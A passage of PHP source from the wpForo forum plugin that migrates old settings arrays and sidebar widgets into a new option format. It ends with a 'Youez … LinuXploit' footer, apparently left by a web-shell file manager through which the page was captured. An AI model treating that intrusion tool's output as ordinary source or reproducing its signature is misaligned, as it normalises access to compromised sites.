		'use_our_register_url'                         => $_features['register-url'],
		'use_our_login_url'                            => $_features['login-url'],
		'use_our_lostpassword_url'                     => $_features['resetpass-url'],
		'login_url'                                    => $_members['login_url'],
		'register_url'                                 => $_members['register_url'],
		'lost_password_url'                            => $_members['lost_password_url'],
		'redirect_url_after_login'                     => $_members['redirect_url_after_login'],
		'redirect_url_after_register'                  => $_members['redirect_url_after_register'],
		'redirect_url_after_confirm_sbscrb'            => $_members['redirect_url_after_confirm_sbscrb'],
		'fb_api_id'                                    => $_api['fb_api_id'],
		'fb_api_secret'                                => $_api['fb_api_secret'],
		'fb_login'                                     => $_api['fb_login'],
		'fb_lb_on_lp'                                  => $_api['fb_lb_on_lp'],
		'fb_lb_on_rp'                                  => $_api['fb_lb_on_rp'],
		'fb_redirect'                                  => $_api['fb_redirect'],
		'fb_redirect_url'                              => $_api['fb_redirect_url'],
	];

	$recaptcha = [
		'site_key'          => $_tools_antispam['rc_site_key'],
		'secret_key'        => $_tools_antispam['rc_secret_key'],
		'theme'             => $_tools_antispam['rc_theme'],
		'topic_editor'      => $_tools_antispam['rc_topic_editor'],
		'post_editor'       => $_tools_antispam['rc_post_editor'],
		'wpf_login_form'    => $_tools_antispam['rc_wpf_login_form'],
		'wpf_reg_form'      => $_tools_antispam['rc_wpf_reg_form'],
		'wpf_lostpass_form' => $_tools_antispam['rc_wpf_lostpass_form'],
		'login_form'        => $_tools_antispam['rc_login_form'],
		'reg_form'          => $_tools_antispam['rc_reg_form'],
		'lostpass_form'     => $_tools_antispam['rc_lostpass_form'],
	];

	$buddypress = [
		'activity'     => $_features['bp_activity'],
		'notification' => $_features['bp_notification'],
		'forum_tab'    => $_features['bp_forum_tab'],
	];

	$um = [
		'notification' => $_features['um_notification'],
		'forum_tab'    => $_features['um_forum_tab'],
	];

	$forums = [
		'layout_extended_intro_topics_toggle' => $_forums['layout_extended_intro_topics_toggle'],
		'layout_extended_intro_topics_count'  => $_forums['layout_extended_intro_topics_count'],
		'layout_extended_intro_topics_length' => $_forums['layout_extended_intro_topics_length'],
		'layout_qa_intro_topics_toggle'       => $_forums['layout_qa_intro_topics_toggle'],
		'layout_qa_intro_topics_count'        => $_forums['layout_qa_intro_topics_count'],
		'layout_qa_intro_topics_length'       => $_forums['layout_qa_intro_topics_length'],
		'layout_threaded_intro_topics_toggle' => $_forums['layout_threaded_intro_topics_toggle'],
		'layout_threaded_display_subforums'   => $_forums['layout_threaded_display_subforums'],
		'layout_threaded_filter_buttons'      => $_forums['layout_threaded_filter_buttons'],
		'layout_threaded_add_topic_button'    => $_forums['layout_threaded_add_topic_button'],
		'layout_threaded_intro_topics_count'  => $_forums['layout_threaded_intro_topics_count'],
		'layout_threaded_intro_topics_length' => $_forums['layout_threaded_intro_topics_length'],
	];

	$topics = [
		'layout_extended_intro_posts_toggle' => $_posts['layout_extended_intro_posts_toggle'],
		'layout_extended_intro_posts_count'  => $_posts['layout_extended_intro_posts_count'],
		'layout_extended_intro_posts_length' => $_posts['layout_extended_intro_posts_length'],
		'layout_qa_posts_per_page'           => $_posts['layout_qa_posts_per_page'],
		'layout_qa_comments_limit_count'     => $_posts['layout_qa_comments_limit_count'],
		'layout_qa_first_post_reply'         => $_posts['layout_qa_first_post_reply'],
		'layout_threaded_posts_per_page'     => $_posts['layout_threaded_posts_per_page'],
		'layout_threaded_nesting_level'      => $_posts['layout_threaded_nesting_level'],
		'layout_threaded_first_post_reply'   => $_posts['layout_threaded_first_post_reply'],
		'topics_per_page'                    => $_posts['topics_per_page'],
		'posts_per_page'                     => $_posts['posts_per_page'],
		'search_max_results'                 => $_posts['search_max_results'],
		'union_first_post'                   => $_posts['union_first_post'],
		'recent_posts_type'                  => $_posts['recent_posts_type'],
	];

	$posting = [
		'qa_display_answer_editor'      => $_forms['qa_display_answer_editor'],
		'qa_comments_rich_editor'       => $_forms['qa_comments_rich_editor'],
		'threaded_reply_rich_editor'    => $_forms['threaded_reply_rich_editor'],
		'topic_title_min_length'        => $_posts['topic_title_min_length'],
		'topic_title_max_length'        => $_posts['topic_title_max_length'],
		'topic_body_min_length'         => $_posts['topic_body_min_length'],
		'topic_body_max_length'         => $_posts['topic_body_max_length'],
		'post_body_min_length'          => $_posts['post_body_min_length'],
		'post_body_max_length'          => $_posts['post_body_max_length'],
		'comment_body_min_length'       => $_posts['comment_body_min_length'],
		'comment_body_max_length'       => $_posts['comment_body_max_length'],
		'edit_own_topic_durr'           => $_posts['eot_durr'],
		'delete_own_topic_durr'         => $_posts['dot_durr'],
		'edit_own_post_durr'            => $_posts['eor_durr'],
		'delete_own_post_durr'          => $_posts['dor_durr'],
		'edit_topic'                    => $_posts['edit_topic'],
		'edit_post'                     => $_posts['edit_post'],
		'edit_log_display_limit'        => $_activity['edit_log_display_limit'],
		'is_preview_on'                 => $_revisions['is_preview_on'],
		'is_draft_on'                   => $_revisions['is_draft_on'],
		'auto_draft_interval'           => $_revisions['auto_draft_interval'],
		'max_drafts_per_page'           => $_revisions['max_drafts_per_page'],
		'max_upload_size'               => $_posts['max_upload_size'],
		'attachs_to_medialib'           => $_features['attach-media-lib'],
		'topic_editor_toolbar_location' => $_posts['toolbar_location_topic'],
		'reply_editor_toolbar_location' => $_posts['toolbar_location_reply'],
		'content_do_shortcode'          => $_features['content-do_shortcode'],
		'extra_html_tags'               => $_tools_antispam['html'],
	];

	$components = [
		'admin_cp'       => $_features['admin-cp'],
		'page_title'     => $_features['page-title'],
		'top_bar'        => $_features['top-bar'],
		'top_bar_search' => $_features['top-bar-search'],
		'breadcrumb'     => $_features['breadcrumb'],
		'footer'         => true,
		'footer_stat'    => $_features['footer-stat'],
		'copyright'      => $_features['copyright'],
	];

	$styles = [
		'font_size_forum'        => $_styles['font_size_forum'],
		'font_size_topic'        => $_styles['font_size_topic'],
		'font_size_post_content' => $_styles['font_size_post_content'],
		'custom_css'             => $_styles['custom_css'],
		'style'                  => $_theme['style'],
	];

	$tags = [
		'max_per_topic' => $_posts['max_tags'],
		'per_page'      => $_posts['tags_per_page'],
		'length'        => 25,
		'suggest_limit' => 5,
		'lowercase'     => false,
	];

	$email = [
		'from_name'                                    => $_subscribes['from_name'],
		'from_email'                                   => $_subscribes['from_email'],
		'admin_emails'                                 => $_subscribes['admin_emails'],
		'new_topic_notify'                             => $_subscribes['new_topic_notify'],
		'new_reply_notify'                             => $_subscribes['new_reply_notify'],
		'disable_new_user_admin_notification'          => $_features['disable_new_user_admin_notification'],
		'report_email_subject'                         => _wpforo_emails_old_shortcodes_to_new( $_subscribes['report_email_subject'] ),
		'report_email_message'                         => _wpforo_emails_old_shortcodes_to_new( $_subscribes['report_email_message'] ),
		'overwrite_new_user_notification_admin'        => $_subscribes['overwrite_new_user_notification_admin'],
		'wp_new_user_notification_email_admin_subject' => _wpforo_emails_old_shortcodes_to_new( $_subscribes['wp_new_user_notification_email_admin_subject'] ),
		'wp_new_user_notification_email_admin_message' => _wpforo_emails_old_shortcodes_to_new( $_subscribes['wp_new_user_notification_email_admin_message'] ),
		'overwrite_new_user_notification'              => $_subscribes['overwrite_new_user_notification'],
		'wp_new_user_notification_email_subject'       => _wpforo_emails_old_shortcodes_to_new($_subscribes['wp_new_user_notification_email_subject']),
		'wp_new_user_notification_email_message'       => _wpforo_emails_old_shortcodes_to_new($_subscribes['wp_new_user_notification_email_message']),
		'overwrite_reset_password_email'               => $_subscribes['overwrite_reset_password_email_message'],
		'reset_password_email_message'                 => _wpforo_emails_old_shortcodes_to_new($_subscribes['reset_password_email_message']),
	];
	$email['admin_emails']         = sanitize_text_field( (string) $email['admin_emails'] );
	$email['admin_emails']         = array_map( 'sanitize_email', preg_split('#\s*,\s*#u', trim($email['admin_emails'])) );
	$email['admin_emails']         = array_filter( $email['admin_emails'] );
	if( !$email['admin_emails'] ) $email['admin_emails'] = (array) get_option( 'admin_email' );

	$subscriptions = [
		'subscribe_confirmation'               => $_features['subscribe_conf'],
		'subscribe_checkbox_on_post_editor'    => $_features['subscribe_checkbox_on_post_editor'],
		'subscribe_checkbox_default_status'    => $_features['subscribe_checkbox_default_status'],
		'user_mention_notify'                  => $_subscribes['user_mention_notify'],
		'user_following_notify'                => true,
		'confirmation_email_subject'           => _wpforo_emails_old_shortcodes_to_new($_subscribes['confirmation_email_subject']),
		'confirmation_email_message'           => _wpforo_emails_old_shortcodes_to_new($_subscribes['confirmation_email_message']),
		'new_topic_notification_email_subject' => _wpforo_emails_old_shortcodes_to_new($_subscribes['new_topic_notification_email_subject']),
		'new_topic_notification_email_message' => _wpforo_emails_old_shortcodes_to_new($_subscribes['new_topic_notification_email_message']),
		'new_post_notification_email_subject'  => _wpforo_emails_old_shortcodes_to_new($_subscribes['new_post_notification_email_subject']),
		'new_post_notification_email_message'  => _wpforo_emails_old_shortcodes_to_new($_subscribes['new_post_notification_email_message']),
		'user_mention_email_subject'           => _wpforo_emails_old_shortcodes_to_new($_subscribes['user_mention_email_subject']),
		'user_mention_email_message'           => _wpforo_emails_old_shortcodes_to_new($_subscribes['user_mention_email_message']),
		'user_following_email_subject'         => _wpforo_emails_old_shortcodes_to_new($_subscribes['user_post_notification_email_subject']),
		'user_following_email_message'         => _wpforo_emails_old_shortcodes_to_new($_subscribes['user_post_notification_email_message']),
	];

	$notifications = [
		'notifications'      => $_features['notifications'],
		'notifications_live' => $_features['notifications-live'],
		'notifications_bar'  => $_features['notifications-bar'],
	];

	$logging = [
		'view_logging'                  => $_features['view-logging'],
		'track_logging'                 => $_features['track-logging'],
		'goto_unread'                   => $_features['goto-unread'],
		'goto_unread_button'            => $_features['goto-unread-button'],
		'display_forum_current_viewers' => $_forums['display_current_viewers'],
		'display_topic_current_viewers' => $_posts['display_current_viewers'],
		'display_recent_viewers'        => $_posts['display_recent_viewers'],
		'display_admin_viewers'         => $_posts['display_admin_viewers'],
	];

	$seo = [
		'seo_title'       => $_features['seo-title'],
		'seo_meta'        => $_features['seo-meta'],
		'seo_profile'     => $_features['seo-profile'],
		'forums_sitemap'  => $_seo['forums_sitemap'],
		'topics_sitemap'  => $_seo['topics_sitemap'],
		'members_sitemap' => $_seo['members_sitemap'],
		'dofollow'        => array_filter( preg_split( '#\s+#', $_tools_misc['dofollow'] ) ),
		'noindex'         => array_filter( preg_split( '#\s+#', $_tools_misc['noindex'] ) ),
	];

	$antispam = [
		'spam_filter'                   => $_tools_antispam['spam_filter'],
		'spam_user_ban'                 => $_tools_antispam['spam_user_ban'],
		'spam_filter_level_topic'       => $_tools_antispam['spam_filter_level_topic'],
		'spam_filter_level_post'        => $_tools_antispam['spam_filter_level_post'],
		'new_user_max_posts'            => $_tools_antispam['new_user_max_posts'],
		'unapprove_post_if_user_is_new' => $_tools_antispam['unapprove_post_if_user_is_new'],
		'min_number_posts_to_attach'    => $_tools_antispam['min_number_post_to_attach'],
		'min_number_posts_to_link'      => $_tools_antispam['min_number_post_to_link'],
		'limited_file_ext'              => array_unique( array_filter( preg_split( '#\s*\|\s*|\s*,\s*|\s+#', trim( (string) $_tools_antispam['limited_file_ext'] ) ) ) ),
		'spam_file_scanner'             => $_tools_antispam['spam_file_scanner'],
		'exclude_file_ext'              => array_unique( array_filter( preg_split( '#\s*\|\s*|\s*,\s*|\s+#', trim( (string) $_tools_antispam['exclude_file_ext'] ) ) ) ),
	];

	$rss = [
		'feed'         => $_features['rss-feed'],
		'feed_general' => true,
		'feed_forum'   => true,
		'feed_topic'   => true,
	];

	$social = [
		'sb'                 => $_api['sb'],
		'sb_on'              => $_api['sb_on'],
		'sb_toggle_on'       => $_api['sb_toggle_on'],
		'sb_style'           => $_api['sb_style'],
		'sb_type'            => $_api['sb_type'],
		'sb_toggle'          => $_api['sb_toggle'],
		'sb_toggle_type'     => $_api['sb_toggle_type'],
		'sb_icon'            => $_api['sb_icon'],
		'sb_location'        => $_api['sb_location'],
		'sb_location_toggle' => $_api['sb_location_toggle'],
	];

	$legal = [
		'contact_page_url'        => $_tools_legal['contact_page_url'],
		'checkbox_terms_privacy'  => $_tools_legal['checkbox_terms_privacy'],
		'checkbox_email_password' => $_tools_legal['checkbox_email_password'],
		'page_terms'              => $_tools_legal['page_terms'],
		'page_privacy'            => $_tools_legal['page_privacy'],
		'checkbox_forum_privacy'  => $_tools_legal['checkbox_forum_privacy'],
		'forum_privacy_text'      => $_tools_legal['forum_privacy_text'],
		'checkbox_fb_login'       => $_tools_legal['checkbox_fb_login'],
		'cookies'                 => $_tools_legal['cookies'],
		'rules_text'              => $_tools_legal['rules_text'],
		'rules_checkbox'          => $_tools_legal['rules_checkbox'],
	];

	wpforo_update_option( 'wpforo_general', $general );
	wpforo_update_option( 'wpforo_members', $members );
	wpforo_update_option( 'wpforo_profiles', $profiles );
	wpforo_update_option( 'wpforo_rating', $rating );
	wpforo_update_option( 'wpforo_authorization', $authorization );
	wpforo_update_option( 'wpforo_email', $email );
	wpforo_update_option( 'wpforo_recaptcha', $recaptcha );
	wpforo_update_option( 'wpforo_buddypress', $buddypress );
	wpforo_update_option( 'wpforo_um', $um );
	wpforo_update_option( 'wpforo_legal', $legal );
	wpforo_update_option( 'forums', $forums );
	wpforo_update_option( 'topics', $topics );
	wpforo_update_option( 'posting', $posting );
	wpforo_update_option( 'components', $components );
	// wpforo_update_option( 'styles_classic', $styles );
    wpforo_update_option( 'styles_2022', $styles );
	wpforo_update_option( 'tags', $tags );
	wpforo_update_option( 'subscriptions', $subscriptions );
	wpforo_update_option( 'notifications', $notifications );
	wpforo_update_option( 'logging', $logging );
	wpforo_update_option( 'seo', $seo );
	wpforo_update_option( 'antispam', $antispam );
	wpforo_update_option( 'rss', $rss );
	wpforo_update_option( 'social', $social );

	WPF()->phrase->set_language_status( $_general['lang'] );
	WPF()->usergroup->set_default( wpforo_get_option( 'wpforo_default_groupid', 3 ) );
}

function _wpforo_migrate_old_widgets_to_new(){
	if( $sidebars_widgets = get_option('sidebars_widgets') ){
		if( wpfkey( $sidebars_widgets, 'forum-sidebar' ) && ! wpfval( $sidebars_widgets, 'wpforo_sidebar' ) ){
			$sidebars_widgets['wpforo_sidebar'] = $sidebars_widgets['forum-sidebar'];
			unset( $sidebars_widgets['forum-sidebar'] );
		}

		$sidebars_widgets = array_map(
			function($item){
				if( ! is_numeric( $item ) ){
					$item = str_replace( [ 'wpforo_widget_recent_replies', 'wpforo_widget_' ], [ 'wpforo_recent_posts', 'wpforo_' ], $item );
				}
				return $item;
			},
			$sidebars_widgets
		);

		### -------
		global $wpdb;
		$sql = "SELECT * FROM `" . $wpdb->options . "` WHERE `option_name` LIKE '%wpforo_widget_%'";
		if( $options = $wpdb->get_results( $sql, ARRAY_A ) ){
			foreach ( $options as $option ){
				$v = unserialize( $option['option_value'] );
				if( wpfval($v, '_multiwidget') && count( $v ) > 1 ){
					update_option( str_replace( [ 'wpforo_widget_recent_replies', 'wpforo_widget_' ], [ 'wpforo_recent_posts', 'wpforo_' ], $option['option_name'] ), $v );
				}
			}
		}

		update_option( 'sidebars_widgets', $sidebars_widgets );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit